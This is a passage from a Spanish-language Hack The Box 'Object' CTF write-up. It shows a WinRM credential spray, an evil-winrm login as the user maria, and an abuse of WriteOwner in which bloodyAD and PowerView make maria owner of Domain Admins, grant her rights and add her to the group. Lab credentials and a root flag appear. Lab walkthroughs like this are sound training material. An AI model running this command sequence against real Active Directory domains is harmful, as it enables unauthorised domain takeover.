2WINRM       10.129.246.207  5985   JENKINS          [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local)
3WINRM       10.129.246.207  5985   JENKINS          [-] object.local\maria:d34gb8@
4WINRM       10.129.246.207  5985   JENKINS          [-] object.local\maria:0de_434_d545
5WINRM       10.129.246.207  5985   JENKINS          [+] object.local\maria:W3llcr4ft3d_4cls (Pwn3d!)

Y encontramos que la credencial de maria es W3llcr4ft3d_4cls

Conseguimos acceso como maria

 1$ evil-winrm -i 10.129.246.207 -u 'maria' -p 'W3llcr4ft3d_4cls'
 2                                        
 3Evil-WinRM shell v3.5
 4                                        
 5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
 6                                        
 7Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
 8                                        
 9Info: Establishing connection to remote endpoint
10*Evil-WinRM* PS C:\Users\maria\Documents> whoami
11object\maria

Abusing WriteOwner

Ahora podemos cambiar el propietario del grupo Domain Admins para que sea maria, para acto seguido asignar a maria el privilegio AddMember y poder agregarnos a nosotros mismos al grupo Domain Admins para convertirnos administradores del dominio.

Ahora con bloodyAD podemos cambiar el propietario del grupo Domain Admins

1*Evil-WinRM* PS C:\Users\maria\Documents> .\bloodyAD --host 127.0.0.1 -d 'object.local' -u 'maria' -p 'W3llcr4ft3d_4cls' set owner 'Domain Admins' 'maria'
2bloodyAD.exe : unicrypto\backends\cryptography\RC4.py:13: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
3    + CategoryInfo          : NotSpecified: (unicrypto\backe...dule in 48.0.0.:String) [], RemoteException
4    + FullyQualifiedErrorId : NativeCommandError
5[+] Old owner S-1-5-21-4088429403-1159899800-2753317549-512 is now replaced by maria on Domain Admins

Ahora podemos terminar el ataque con PowerView.ps1

Como antes podemos importar las funciones de PowerView.ps1

1*Evil-WinRM* PS C:\Users\maria\Documents> Import-Module .\PowerView.ps1

Y añadir a maria todos los permisos sobre el grupo (puede porque ahora somos propietarios del grupo Domain Admins)

1*Evil-WinRM* PS C:\Users\maria\Documents> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All

Ahora podemos agregarnos nosotros mismos al grupo.

1*Evil-WinRM* PS C:\Users\maria\Documents> Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'

Y vemos que ha funcionado.

 1*Evil-WinRM* PS C:\Users\maria\Documents> net user maria
 2User name                    maria
 3Full Name                    maria garcia
 4Comment
 5User's comment
 6Country/region code          000 (System Default)
 7Account active               Yes
 8Account expires              Never
 9
10Password last set            10/21/2021 9:16:32 PM
11Password expires             Never
12Password changeable          10/22/2021 9:16:32 PM
13Password required            Yes
14User may change password     Yes
15
16Workstations allowed         All
17Logon script                 C:\\Windows\\System32\\spool\\drivers\\color\\test.ps1
18User profile
19Home directory
20Last logon                   9/1/2024 12:23:49 PM
21
22Logon hours allowed          All
23
24Local Group Memberships      *Remote Management Use
25Global Group memberships     *Domain Admins        *Domain Users
26The command completed successfully.

Y ya si reiniciamos la sesión de evil-winrm podemos leer la flag de root

1*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
21c90b4d1a87f823...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Object   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Windows   #Jenkins Enumeration   #Weaponizing Jenkins   #Dumping Secrets   #Decrypting Admin Credentials   #Abusing WinRM   #Bloodhound Enumeration   #Abusing ForceChangePassword   #User Pivoting   #Shadow Credentials   #Abusing GenericWrite   #Abusing User Script Path   #Information Leakage   #Abusing WriteOwner